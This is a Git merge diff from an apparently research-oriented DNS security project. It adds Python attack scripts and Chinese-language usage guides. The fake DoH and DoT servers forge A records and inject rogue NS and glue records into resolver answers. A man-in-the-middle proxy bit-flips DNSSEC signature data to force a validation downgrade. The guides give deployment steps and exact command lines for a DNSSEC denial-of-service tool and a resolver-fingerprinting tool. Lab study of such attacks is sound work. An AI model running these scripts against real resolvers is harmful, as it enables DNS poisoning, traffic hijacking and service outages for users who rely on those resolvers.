Merge branch 'main' into 'main'
当前已收集代码合并 See merge request zhuyujia/yydns!1
This commit is contained in:
99
README.md
99
README.md
@@ -1,92 +1,17 @@
|
||||
# YYDNS
|
||||
|
||||
## 目录说明
|
||||
|
||||
| 目录名 | 说明 | 备注 |
|
||||
| ----------- | --------------------- | ---------------------- |
|
||||
| att script | 对应指标的att脚本 | 文件按照文件夹编号存放 |
|
||||
| monitor | 监控软件 | |
|
||||
| monitor_vps | 基于vps测试的监控系统 | |
|
||||
| peishi | 陪试软件 | target_GZ 目标感知 |
|
||||
| tw web | tw相关展示页面 | |
|
||||
| other | 其它文档 | |
|
||||
|
||||
## Getting started
|
||||
## 使用文档要求
|
||||
|
||||
To make it easy for you to get started with GitLab, here's a list of recommended next steps.
|
||||
|
||||
Already a pro? Just edit this README.md and make it your own. Want to make it easy? [Use the template at the bottom](#editing-this-readme)!
|
||||
|
||||
## Add your files
|
||||
|
||||
- [ ] [Create](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#create-a-file) or [upload](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#upload-a-file) files
|
||||
- [ ] [Add files using the command line](https://docs.gitlab.com/ee/gitlab-basics/add-file.html#add-a-file-using-the-command-line) or push an existing Git repository with the following command:
|
||||
|
||||
```
|
||||
cd existing_repo
|
||||
git remote add origin https://git.mesalab.cn/zhuyujia/yydns.git
|
||||
git branch -M main
|
||||
git push -uf origin main
|
||||
```
|
||||
|
||||
## Integrate with your tools
|
||||
|
||||
- [ ] [Set up project integrations](https://git.mesalab.cn/zhuyujia/yydns/-/settings/integrations)
|
||||
|
||||
## Collaborate with your team
|
||||
|
||||
- [ ] [Invite team members and collaborators](https://docs.gitlab.com/ee/user/project/members/)
|
||||
- [ ] [Create a new merge request](https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html)
|
||||
- [ ] [Automatically close issues from merge requests](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#closing-issues-automatically)
|
||||
- [ ] [Enable merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/)
|
||||
- [ ] [Set auto-merge](https://docs.gitlab.com/ee/user/project/merge_requests/merge_when_pipeline_succeeds.html)
|
||||
|
||||
## Test and Deploy
|
||||
|
||||
Use the built-in continuous integration in GitLab.
|
||||
|
||||
- [ ] [Get started with GitLab CI/CD](https://docs.gitlab.com/ee/ci/quick_start/index.html)
|
||||
- [ ] [Analyze your code for known vulnerabilities with Static Application Security Testing(SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)
|
||||
- [ ] [Deploy to Kubernetes, Amazon EC2, or Amazon ECS using Auto Deploy](https://docs.gitlab.com/ee/topics/autodevops/requirements.html)
|
||||
- [ ] [Use pull-based deployments for improved Kubernetes management](https://docs.gitlab.com/ee/user/clusters/agent/)
|
||||
- [ ] [Set up protected environments](https://docs.gitlab.com/ee/ci/environments/protected_environments.html)
|
||||
|
||||
***
|
||||
|
||||
# Editing this README
|
||||
|
||||
When you're ready to make this README your own, just edit this file and use the handy template below (or feel free to structure it however you want - this is just a starting point!). Thank you to [makeareadme.com](https://www.makeareadme.com/) for this template.
|
||||
|
||||
## Suggestions for a good README
|
||||
Every project is different, so consider which of these sections apply to yours. The sections used in the template are suggestions for most open source projects. Also keep in mind that while a README can be too long and detailed, too long is better than too short. If you think your README is too long, consider utilizing another form of documentation rather than cutting out information.
|
||||
|
||||
## Name
|
||||
Choose a self-explaining name for your project.
|
||||
|
||||
## Description
|
||||
Let people know what your project can do specifically. Provide context and add a link to any reference visitors might be unfamiliar with. A list of Features or a Background subsection can also be added here. If there are alternatives to your project, this is a good place to list differentiating factors.
|
||||
|
||||
## Badges
|
||||
On some READMEs, you may see small images that convey metadata, such as whether or not all the tests are passing for the project. You can use Shields to add some to your README. Many services also have instructions for adding a badge.
|
||||
|
||||
## Visuals
|
||||
Depending on what you are making, it can be a good idea to include screenshots or even a video (you'll frequently see GIFs rather than actual videos). Tools like ttygif can help, but check out Asciinema for a more sophisticated method.
|
||||
|
||||
## Installation
|
||||
Within a particular ecosystem, there may be a common way of installing things, such as using Yarn, NuGet, or Homebrew. However, consider the possibility that whoever is reading your README is a novice and would like more guidance. Listing specific steps helps remove ambiguity and gets people to using your project as quickly as possible. If it only runs in a specific context like a particular programming language version or operating system or has dependencies that have to be installed manually, also add a Requirements subsection.
|
||||
|
||||
## Usage
|
||||
Use examples liberally, and show the expected output if you can. It's helpful to have inline the smallest example of usage that you can demonstrate, while providing links to more sophisticated examples if they are too long to reasonably include in the README.
|
||||
|
||||
## Support
|
||||
Tell people where they can go to for help. It can be any combination of an issue tracker, a chat room, an email address, etc.
|
||||
|
||||
## Roadmap
|
||||
If you have ideas for releases in the future, it is a good idea to list them in the README.
|
||||
|
||||
## Contributing
|
||||
State if you are open to contributions and what your requirements are for accepting them.
|
||||
|
||||
For people who want to make changes to your project, it's helpful to have some documentation on how to get started. Perhaps there is a script that they should run or some environment variables that they need to set. Make these steps explicit. These instructions could also be useful to your future self.
|
||||
|
||||
You can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.
|
||||
|
||||
## Authors and acknowledgment
|
||||
Show your appreciation to those who have contributed to the project.
|
||||
|
||||
## License
|
||||
For open source projects, say how it is licensed.
|
||||
|
||||
## Project status
|
||||
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
|
||||
- 所有文档以word格式存储
|
||||
- 文档应同时包含部署说明、运行说明、使用说明,各部分内容可参考模板md文件
|
||||
|
||||
BIN
att script/10_doh_注入/DoH数据注入.pdf
Normal file
BIN
att script/10_doh_注入/DoH数据注入.pdf
Normal file
Binary file not shown.
63
att script/10_doh_注入/fake_DoH.py
Normal file
63
att script/10_doh_注入/fake_DoH.py
Normal file
@@ -0,0 +1,63 @@
|
||||
import argparse
|
||||
import base64
|
||||
import ssl
|
||||
import dns.asyncquery
|
||||
import dns.rcode
|
||||
import aiohttp
|
||||
import dns.message
|
||||
import dns.rrset
|
||||
from aiohttp import web
|
||||
|
||||
DNS_SERVER_ADDRESS = '223.5.5.5'
|
||||
DNS_SERVER_PORT = 53
|
||||
|
||||
async def doh_handler(request):
|
||||
if request.method == "GET":
|
||||
rquery = str(request.query).split(' ')[1]
|
||||
#print(rquery)
|
||||
rquery = rquery.ljust(len(rquery) + len(rquery) % 4, "=")
|
||||
doh_request = dns.message.from_wire(base64.b64decode(rquery.encode("UTF8")))
|
||||
else:
|
||||
try:
|
||||
doh_request = dns.message.from_wire(await request.read())
|
||||
except :
|
||||
return web.Response(text='Invalid DNS request', status=400)
|
||||
|
||||
dns_request = dns.message.make_query(doh_request.question[0].name, doh_request.question[0].rdtype)
|
||||
dns_request.id = doh_request.id
|
||||
# 发起DNS请求
|
||||
dns_response = await dns.asyncquery.udp(q = dns_request, port=DNS_SERVER_PORT, where=DNS_SERVER_ADDRESS)
|
||||
#print(dns_response)
|
||||
|
||||
if str(doh_request.question[0].name) == tamper and int(doh_request.question[0].rdtype)==1:
|
||||
print('---tamper---',tamper)
|
||||
dns_response.answer = [ dns.rrset.from_text(tamper,3600,dns.rdataclass.IN, dns.rdatatype.A,'39.106.44.126')]
|
||||
if str(doh_request.question[0].name) == inject:
|
||||
print('---inject---',inject)
|
||||
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
|
||||
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
|
||||
#print(dns_response)
|
||||
# 构建HTTPS响应
|
||||
response = web.Response(body=dns_response.to_wire())
|
||||
response.content_type = 'application/dns-message'
|
||||
return response
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-tamper', '--tamper', default='')
|
||||
parser.add_argument('-inject', '--inject', default='')
|
||||
parser.add_argument('-ns', '--ns', default='39.106.44.126')
|
||||
args = parser.parse_args()
|
||||
tamper = args.tamper +'.'
|
||||
inject = args.inject +'.'
|
||||
ns = args.ns
|
||||
#print('tamper:',tamper)
|
||||
DOH_SERVER_URL = "https://dns.alidns.com/dns-query"
|
||||
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt"
|
||||
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key"
|
||||
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
|
||||
ssl_context.load_cert_chain(CERT_FILE, KEY_FILE)
|
||||
app = web.Application()
|
||||
app.router.add_get(path='/dns-query',handler=doh_handler)
|
||||
app.router.add_post(path='/dns-query',handler=doh_handler)
|
||||
web.run_app(app, host='127.0.0.1', port=8444, ssl_context=ssl_context)
|
||||
BIN
att script/11_dot_注入/DoT数据注入.pdf
Normal file
BIN
att script/11_dot_注入/DoT数据注入.pdf
Normal file
Binary file not shown.
45
att script/11_dot_注入/dot_stub.py
Normal file
45
att script/11_dot_注入/dot_stub.py
Normal file
@@ -0,0 +1,45 @@
|
||||
import socket
|
||||
import ssl
|
||||
import dns.message
|
||||
import dns.query
|
||||
import dns.rcode
|
||||
import argparse
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-dot', '--dot', default='dns.alidns.com')
|
||||
args = parser.parse_args()
|
||||
print(f'DoT server: {args.dot}')
|
||||
upstream_server = '47.88.31.213'
|
||||
|
||||
# 创建监听socket
|
||||
listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
listener.bind(('127.0.0.1', 53))
|
||||
|
||||
# 创建TLS连接
|
||||
context = ssl.create_default_context()
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
while True:
|
||||
# 接收DNS请求
|
||||
data, addr = listener.recvfrom(1024)
|
||||
#print(dns.message.from_wire(data))
|
||||
data = dns.message.from_wire(data)
|
||||
if 'baidu' in data.question.__str__():
|
||||
# print(data)
|
||||
# print(addr)
|
||||
print('DNS请求:', data.question)
|
||||
# # 创建TLS连接并发送DNS请求到上游服务器
|
||||
resp = dns.query.tls(
|
||||
q=data,
|
||||
where=upstream_server,
|
||||
timeout=10,
|
||||
ssl_context=context)
|
||||
print('DNS响应:', resp.answer)
|
||||
# with socket.create_connection((upstream_server,853)) as sock:
|
||||
# with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock:
|
||||
# tls_sock.sendall(data.to_wire())
|
||||
# resp = tls_sock.recv(4096)
|
||||
|
||||
# 将上游服务器的响应发送回客户端
|
||||
listener.sendto(resp.to_wire(), addr)
|
||||
break
|
||||
63
att script/11_dot_注入/fake_DoT.py
Normal file
63
att script/11_dot_注入/fake_DoT.py
Normal file
@@ -0,0 +1,63 @@
|
||||
import argparse
|
||||
import asyncio
|
||||
import ssl
|
||||
import socket
|
||||
import dns.asyncquery
|
||||
import dns.message
|
||||
import dns.rcode
|
||||
import dns.flags
|
||||
import dns.message
|
||||
import dns.rrset
|
||||
from dnslib import DNSRecord
|
||||
|
||||
async def handle_client(reader, writer):
|
||||
request_data = await reader.read(1024)
|
||||
request = dns.message.from_wire(request_data[2:])
|
||||
#print(request)
|
||||
dns_request = dns.message.make_query(request.question[0].name, request.question[0].rdtype)
|
||||
dns_request.id = request.id
|
||||
#print(dns_request)
|
||||
dns_response = await dns.asyncquery.udp(q=dns_request, port=53, where='223.5.5.5')
|
||||
#print(dns_response)
|
||||
if str(request.question[0].name) == tamper and int(request.question[0].rdtype) == 1:
|
||||
print('---tamper---', tamper)
|
||||
dns_response.answer = [dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '39.106.44.126')]
|
||||
if str(request.question[0].name) == inject:
|
||||
print('---inject---', inject)
|
||||
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
|
||||
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
|
||||
#print(dns_response)
|
||||
|
||||
response_data = dns_response
|
||||
record_header = len(response_data.to_wire()).to_bytes(2, 'big')
|
||||
# 构建完整的TLS响应数据
|
||||
tls_response_data = record_header + response_data.to_wire()
|
||||
writer.write(tls_response_data)
|
||||
await writer.drain()
|
||||
writer.close()
|
||||
|
||||
async def start_server():
|
||||
# 配置服务器参数
|
||||
listen_address = '0.0.0.0'
|
||||
listen_port = 853
|
||||
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" # 替换为你的SSL证书文件路径
|
||||
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" # 替换为你的SSL密钥文件路径
|
||||
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
|
||||
context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)
|
||||
# 创建TCP服务器
|
||||
server = await asyncio.start_server(
|
||||
handle_client, listen_address, listen_port, ssl=context)
|
||||
|
||||
print(f'DoT server listening on {listen_address}:{listen_port}')
|
||||
async with server:
|
||||
await server.serve_forever()
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-tamper', '--tamper', default='')
|
||||
parser.add_argument('-inject', '--inject', default='')
|
||||
parser.add_argument('-ns', '--ns', default='39.106.44.126')
|
||||
args = parser.parse_args()
|
||||
tamper = args.tamper +'.'
|
||||
inject = args.inject +'.'
|
||||
ns = args.ns
|
||||
asyncio.run(start_server())
|
||||
BIN
att script/12-16 (target_GZ)/fpdns_client
Normal file
BIN
att script/12-16 (target_GZ)/fpdns_client
Normal file
Binary file not shown.
BIN
att script/12-16 (target_GZ)/fpdns_server
Normal file
BIN
att script/12-16 (target_GZ)/fpdns_server
Normal file
Binary file not shown.
BIN
att script/12-16 (target_GZ)/topology.png
Normal file
BIN
att script/12-16 (target_GZ)/topology.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 397 KiB |
66
att script/12-16 (target_GZ)/说明.md
Normal file
66
att script/12-16 (target_GZ)/说明.md
Normal file
@@ -0,0 +1,66 @@
|
||||
## 使用说明
|
||||
|
||||
### 基本目标
|
||||
|
||||
通过主动探测精确感知目标DNS服务的各项参数。
|
||||
|
||||
### 软件环境
|
||||
|
||||
目标感知中共需要3种软件,如下表所示,其中主要测试对象为目录中的目标感知工具fpdns_client和辅助感知工具fpdns_server,BIND9递归解析器作为感知目标。
|
||||
|
||||
| 软件名称 | 版本 | 作用 | 备注 |
|
||||
| ------- | ---- | ---- | ---- |
|
||||
|目标感知工具|v1.0|进行目标感知||
|
||||
|辅助感知工具|v1.0|辅助进行目标感知||
|
||||
|BIND9|9.11.36|作为感知目标||
|
||||
|
||||
### 硬件环境
|
||||
|
||||
测试中共需要2台服务器A和B。服务器均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|
||||
|
||||
|硬件名称|数量|配置|作用|
|
||||
|---|---|---|---|
|
||||
|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
|
||||
|
||||
### 测试拓扑
|
||||
|
||||
测试拓扑如下图。
|
||||
|
||||

|
||||
|
||||
### 部署方法
|
||||
|
||||
#### 感知目标部署
|
||||
|
||||
在服务器A上安装BIND9,设置模式为递归解析模式。
|
||||
|
||||
#### 目标感知工具部署
|
||||
|
||||
将可执行文件fpdns_client移动到服务器A上。
|
||||
|
||||
#### 辅助感知工具部署
|
||||
|
||||
将可执行文件fpdns_server移动到服务器C上。
|
||||
|
||||
### 使用方法
|
||||
|
||||
#### 辅助感知工具
|
||||
|
||||
|参数|说明|示例|
|
||||
|---|---|---|
|
||||
|-sld|感知中使用的二级域名|echodns.xyz|
|
||||
|
||||
#### 拒绝服务攻击工具
|
||||
|
||||
|参数|说明|示例|
|
||||
|---|---|---|
|
||||
|-target|感知目标的IP地址|1.2.3.4|
|
||||
|
||||
|
||||
### 测试方法
|
||||
|
||||
1. 在服务器A上启动BIND9递归解析器;
|
||||
2. 在服务器B上执行命令`./fpdns_server -sld echodns.xyz`,启动辅助感知工具;
|
||||
3. 在服务器A上执行命令`./dtool -target {ip}`,进行目标感知
|
||||
4. 等待感知完毕,通过输出结果判断感知效果
|
||||
|
||||
0
att script/12-16 (target_GZ)/请删除我.txt
Normal file
0
att script/12-16 (target_GZ)/请删除我.txt
Normal file
BIN
att script/1_dnssec_ddos/ddos-topology.png
Normal file
BIN
att script/1_dnssec_ddos/ddos-topology.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 450 KiB |
BIN
att script/1_dnssec_ddos/dtool
Normal file
BIN
att script/1_dnssec_ddos/dtool
Normal file
Binary file not shown.
BIN
att script/1_dnssec_ddos/rogue-ns
Normal file
BIN
att script/1_dnssec_ddos/rogue-ns
Normal file
Binary file not shown.
73
att script/1_dnssec_ddos/说明.md
Normal file
73
att script/1_dnssec_ddos/说明.md
Normal file
@@ -0,0 +1,73 @@
|
||||
## 使用说明
|
||||
|
||||
### 基本目标
|
||||
|
||||
通过向目标域名解析服务器发送特定请求,使目标服务器服务质量下降或无法提供服务,形成拒绝服务攻击。
|
||||
|
||||
### 软件环境
|
||||
|
||||
DNSSEC拒绝服务攻击中共需要4种软件,如下表所示,其中主要测试对象为目录中的拒绝服务攻击工具dtool和辅助攻击工具rogue-ns,dig工具用于从客户端发起DNS查询并查看解析结果,docker用于运行必要的DNS服务器和监控组件容器。
|
||||
|
||||
| 软件名称 | 版本 | 作用 | 备注 |
|
||||
| ------- | ---- | ---- | ---- |
|
||||
|拒绝服务攻击工具|v1.0|发送拒绝服务攻击请求||
|
||||
|辅助攻击工具|v1.0|辅助进行拒绝服务攻击||
|
||||
|dig|9.11.36|发起DNS查询并查看解析结果||
|
||||
|docker|24.0.5|安装必要容器||
|
||||
|
||||
### 硬件环境
|
||||
|
||||
测试中共需要三台服务器A,B和C。服务器均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|
||||
|
||||
|硬件名称|数量|配置|作用|
|
||||
|---|---|---|---|
|
||||
|公有云VPS|3|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
|
||||
|
||||
### 测试拓扑
|
||||
|
||||
测试拓扑如下图。
|
||||
|
||||

|
||||
|
||||
### 部署方法
|
||||
|
||||
#### 目标及监控部署
|
||||
|
||||
在服务器B上通过docker安装BIND9容器作为攻击目标,安装cadvisor,prometheus和grafana进行服务器B的状态监控。
|
||||
|
||||
#### 拒绝服务攻击工具部署
|
||||
|
||||
将可执行文件dtool移动到服务器A上。
|
||||
|
||||
#### 辅助攻击工具部署
|
||||
|
||||
将可执行文件rogue-ns移动到服务器C上。
|
||||
|
||||
### 使用方法
|
||||
|
||||
#### 辅助攻击工具
|
||||
|
||||
|参数|说明|示例|
|
||||
|---|---|---|
|
||||
|-sld|攻击中使用的二级域名|echodns.xyz|
|
||||
|
||||
#### 拒绝服务攻击工具
|
||||
|
||||
|参数|说明|示例|
|
||||
|---|---|---|
|
||||
|query|攻击中使用的二级域名|echodns.xyz|
|
||||
|-p|目标端口|53|
|
||||
|-d|攻击中使用的域名后缀|rogue.echodns.xyz|
|
||||
|-R|是否进行域名随机生成,布尔型参数||
|
||||
|-r|发送请求速率|100|
|
||||
|-n|发送请求总量|10000|
|
||||
|
||||
|
||||
### 测试方法
|
||||
|
||||
1. 在服务器B上启动BIND9容器;
|
||||
2. 在服务器C上执行命令`./rogue-ns -sld echodns.xyz`,启动辅助攻击工具;
|
||||
3. 在服务器A上执行命令`./dtool query {ip} -p 5353 -R -d rogue.jtfgzlm.icu -r 300 -n 60000`,启动拒绝服务攻击脚本向目标进行攻击;
|
||||
4. 通过服务器B上3000端口的grafana仪表盘监控目标状态;
|
||||
5. 在服务器A上使用dig向目标进行DNS查询,通过解析时延和超时情况判断攻击效果。
|
||||
|
||||
BIN
att script/2_dnssec_降级/downgrade-topology.png
Normal file
BIN
att script/2_dnssec_降级/downgrade-topology.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 36 KiB |
196
att script/2_dnssec_降级/proxy.py
Normal file
196
att script/2_dnssec_降级/proxy.py
Normal file
@@ -0,0 +1,196 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import socket
|
||||
import dns.message
|
||||
import dns.rdatatype
|
||||
import dns.rdata
|
||||
import dns.rdataclass
|
||||
import binascii
|
||||
import csv
|
||||
import datetime
|
||||
|
||||
from scapy.all import *
|
||||
|
||||
#from crypto.PublicKey import Ed448
|
||||
#import dns.rdatatype
|
||||
|
||||
# 定义代理服务器的地址和端口
|
||||
proxy_host = '10.0.8.14' # 代理服务器的IP地址
|
||||
proxy_port = 53 # 代理服务器的端口
|
||||
#proxy_port = 22 # 代理服务器的端口
|
||||
|
||||
# 定义上游DNS服务器的地址和端口
|
||||
upstream_host = '127.0.0.1' # 上游DNS服务器的IP地址
|
||||
upstream_port = 9999 # 上游DNS服务器的端口
|
||||
|
||||
csv_file = "dnssec_log.csv"
|
||||
|
||||
def proxy_dns_request(request, client_addr, proxy_socket):
|
||||
# 创建与上游DNS服务器的套接字连接
|
||||
upstream_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
# 发送DNS请求到上游DNS服务器
|
||||
upstream_socket.sendto(request, (upstream_host, upstream_port))
|
||||
|
||||
# 接收上游DNS服务器的响应
|
||||
response, _ = upstream_socket.recvfrom(4096)
|
||||
|
||||
# 修改DNS应答中的字段
|
||||
modified_response = modify_dns_response(response,client_addr,len(request))
|
||||
#modified_response = response
|
||||
|
||||
# 将修改后的DNS应答发送给客户端
|
||||
#client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
#client_socket.sendto(modified_response, client_addr)
|
||||
proxy_socket.sendto(modified_response, client_addr)
|
||||
# print("finish",client_addr)
|
||||
# 关闭套接字连接
|
||||
upstream_socket.close()
|
||||
#client_socket.close()
|
||||
|
||||
def modify_dns_response(response,client_addr,len_request):
|
||||
# 在这里添加你的修改逻辑
|
||||
# 解析DNS应答消息,并修改需要的字段
|
||||
# 可以使用dnspython等DNS库来解析和构造DNS消息
|
||||
# print("response ",response)
|
||||
dns_response = dns.message.from_wire(response)
|
||||
# print("dns_response ",dns_response)
|
||||
qweasd = 0
|
||||
|
||||
packet = DNS(response)
|
||||
# 解析DNS流量
|
||||
if DNS in packet:
|
||||
dns1 = packet[DNS]
|
||||
if dns1.qd[0].qtype != 1:
|
||||
print("************No Change************")
|
||||
return response
|
||||
if dns1.ancount > 0:
|
||||
print("Answers:")
|
||||
for an in dns1.an:
|
||||
print(" Name:", an.rrname.decode())
|
||||
print(" Type:", an.type)
|
||||
#print(" Data:", an.rdata)
|
||||
|
||||
for rrset in dns_response.answer:
|
||||
if rrset.rdtype == dns.rdatatype.RRSIG and qweasd == 0 :
|
||||
qweasd = 1
|
||||
current_time = datetime.now()
|
||||
# with open(csv_file, "a", newline="") as file:
|
||||
# writer = csv.writer(file)
|
||||
# writer.writerow([client_addr, len_request, current_time])
|
||||
# print("dnssec_log.csv:",csv_file)
|
||||
# new_rdata = dns.rdata.from_text(rrset.rdclass, rrset.rdtype, rrset.to_text())
|
||||
# new_rdata.algorithm = 16 # 设置为 5 或其他你想要的值
|
||||
|
||||
# 替换原始 RRSIG 记录
|
||||
# rrset.clear()
|
||||
# rrset.add(new_rdata)
|
||||
# for attrr in dir(rrset):
|
||||
# print(attrr)
|
||||
# print("rdata.algorithm",rrset.algorithm)
|
||||
# new_rdata = dns.rdatatype.from_text(rdtype_text.replace(dns.rdatatype.RSASHA1,dns.rdatatype.ED448))
|
||||
# rrset.items = new_rdata
|
||||
# print(rrset.items)
|
||||
# print(rrset[1])
|
||||
# print(bin(rrset.items[1]))
|
||||
# for qwe in rrset:
|
||||
#print(qwe)
|
||||
#print(type(qwe)," key: ",qwe," qweqweqweqweqwe ")
|
||||
# for attrr in dir(qwe):
|
||||
# print(attrr)
|
||||
# qwe.algorithm = 16
|
||||
# print(qwe.algorithm)
|
||||
# 遍历DNS响应中的资源记录
|
||||
|
||||
modified_response = dns_response.to_wire()
|
||||
binary_string = bin(int(binascii.hexlify(modified_response), 16))
|
||||
# print("len: ",len(binary_string),"\n",binary_string)
|
||||
formatted_string = str(binary_string)
|
||||
index = str(binary_string).find("01100101001000001101110000001111")
|
||||
new_string = formatted_string[:index+1] + '0' + formatted_string[index+2:]
|
||||
new_string = new_string[:index+2] + '1' + new_string[index+3:]
|
||||
new_string = new_string[:index+3] + '0' + new_string[index+4:]
|
||||
new_string = new_string[:index+4] + '0' + new_string[index+5:]
|
||||
new_string = new_string[:index+5] + '1' + new_string[index+6:]
|
||||
new_string = new_string[:index+6] + '0' + new_string[index+7:]
|
||||
formatted_string = new_string[:index+7] + '1' + new_string[index+8:]
|
||||
|
||||
# index = str(binary_string).find("0000010100000011")
|
||||
index = str(binary_string).find("0000110100000011")
|
||||
|
||||
# formatted_string = str(binary_string)
|
||||
new_string = formatted_string[:index+1] + '1' + formatted_string[index+2:]
|
||||
new_string = new_string[:index+2] + '1' + new_string[index+3:]
|
||||
new_string = new_string[:index+3] + '1' + new_string[index+4:]
|
||||
new_string = new_string[:index+4] + '0' + new_string[index+5:]
|
||||
new_string = new_string[:index+5] + '0' + new_string[index+6:]
|
||||
new_string = new_string[:index+6] + '0' + new_string[index+7:]
|
||||
formatted_string = new_string[:index+7] + '0' + new_string[index+8:]
|
||||
# print("len: ",len(formatted_string),"\n",formatted_string)
|
||||
# print("index: ",formatted_string[index:])
|
||||
binary_string = formatted_string[2:]
|
||||
binary_number = int(binary_string, 2)
|
||||
formatted_string = binary_number.to_bytes((binary_number.bit_length() + 7) // 8, 'big')
|
||||
# print("index: ",formatted_string)
|
||||
try:
|
||||
dns_response = dns.message.from_wire(formatted_string)
|
||||
except:
|
||||
modified_response = dns_response.to_wire()
|
||||
# print(dns_response)
|
||||
modified_response = dns_response.to_wire()
|
||||
print("**********************************************************************************************************************")
|
||||
return modified_response
|
||||
|
||||
def start_proxy_server():
|
||||
# 创建代理服务器的套接字
|
||||
proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
# 将套接字绑定到代理服务器的地址和端口
|
||||
proxy_socket.bind((proxy_host, proxy_port))
|
||||
|
||||
# 循环监听客户端请求并代理流量
|
||||
|
||||
num = 1
|
||||
|
||||
print("START: ")
|
||||
while True:
|
||||
|
||||
print("start")
|
||||
request, client_addr = proxy_socket.recvfrom(4096)
|
||||
print("num: ",num)
|
||||
num = num + 1
|
||||
try:
|
||||
packet = DNS(request)
|
||||
# 解析DNS流量
|
||||
if DNS in packet:
|
||||
dns1 = packet[DNS]
|
||||
if dns1.qdcount > 0:
|
||||
print("Queries:")
|
||||
for qd in dns1.qd:
|
||||
print(" Query Name:", qd.qname.decode())
|
||||
print(" Query Type:", qd.qtype)
|
||||
print(" Query Class:", qd.qclass)
|
||||
query_current_time = datetime.now()
|
||||
query_current_time = query_current_time.strftime("%H%M%S%f")[:-2]
|
||||
# src = request[IP].src
|
||||
print(" Query src:", client_addr)
|
||||
print(" Query Current Time:", query_current_time)
|
||||
tmp = qd.qname.decode()
|
||||
if tmp[0] == "D":
|
||||
with open("shiyan1_query", "a", newline="") as file:
|
||||
writer = csv.writer(file)
|
||||
writer.writerow([qd.qname.decode(), qd.qtype, qd.qclass, client_addr, query_current_time])
|
||||
print("finish")
|
||||
except Exception as e:
|
||||
print("error",str(e))
|
||||
|
||||
|
||||
|
||||
proxy_dns_request(request, client_addr, proxy_socket)
|
||||
|
||||
# 关闭套接字连接
|
||||
proxy_socket.close()
|
||||
|
||||
|
||||
# 启动代理服务器
|
||||
start_proxy_server()
|
||||
52
att script/2_dnssec_降级/说明.md
Normal file
52
att script/2_dnssec_降级/说明.md
Normal file
@@ -0,0 +1,52 @@
|
||||
## 使用说明
|
||||
|
||||
### 基本目标
|
||||
|
||||
使目标DNS解析器不对DNSSEC记录进行验证,实现针对DNSSEC的降级攻击
|
||||
|
||||
### 软件环境
|
||||
|
||||
DNSSEC降级攻击中共需要四种软件,如下表所示,其中主要测试对象为目录中的DNSSEC绕过工具脚本proxy.py,BIND9用于搭建权威服务器和递归解析器,dig工具用于从客户端发起DNS查询并查看解析结果,python用于运行DNSSEC绕过工具。
|
||||
|
||||
| 软件名称 | 版本 | 作用 | 备注 |
|
||||
| ------- | ---- | ---- | ---- |
|
||||
|DNSSEC绕过工具|v1.0|实现中间人篡改功能|proxy.py|
|
||||
|BIND9|9.18.2|搭建权威服务器和递归解析器||
|
||||
|dig|9.11.36|发起DNS查询并查看解析结果||
|
||||
|python|3.7.2|运行DNSSEC绕过工具||
|
||||
|
||||
### 硬件环境
|
||||
|
||||
测试中共需要三台服务器A和B。服务器A和B均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|
||||
|
||||
|硬件名称|数量|配置|作用|
|
||||
|---|---|---|---|
|
||||
|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
|
||||
|
||||
### 测试拓扑
|
||||
|
||||
测试拓扑如下图。
|
||||
|
||||

|
||||
|
||||
### 部署方法
|
||||
|
||||
#### BIND9部署
|
||||
|
||||
在服务器B上安装并配置BIND9作为权威服务器,并进行权威域的DNSSEC配置。
|
||||
在服务器A上安装并配置BIND9作为递归解析器,开启DNSSEC验证功能。
|
||||
|
||||
#### DNSSEC绕过工具部署
|
||||
|
||||
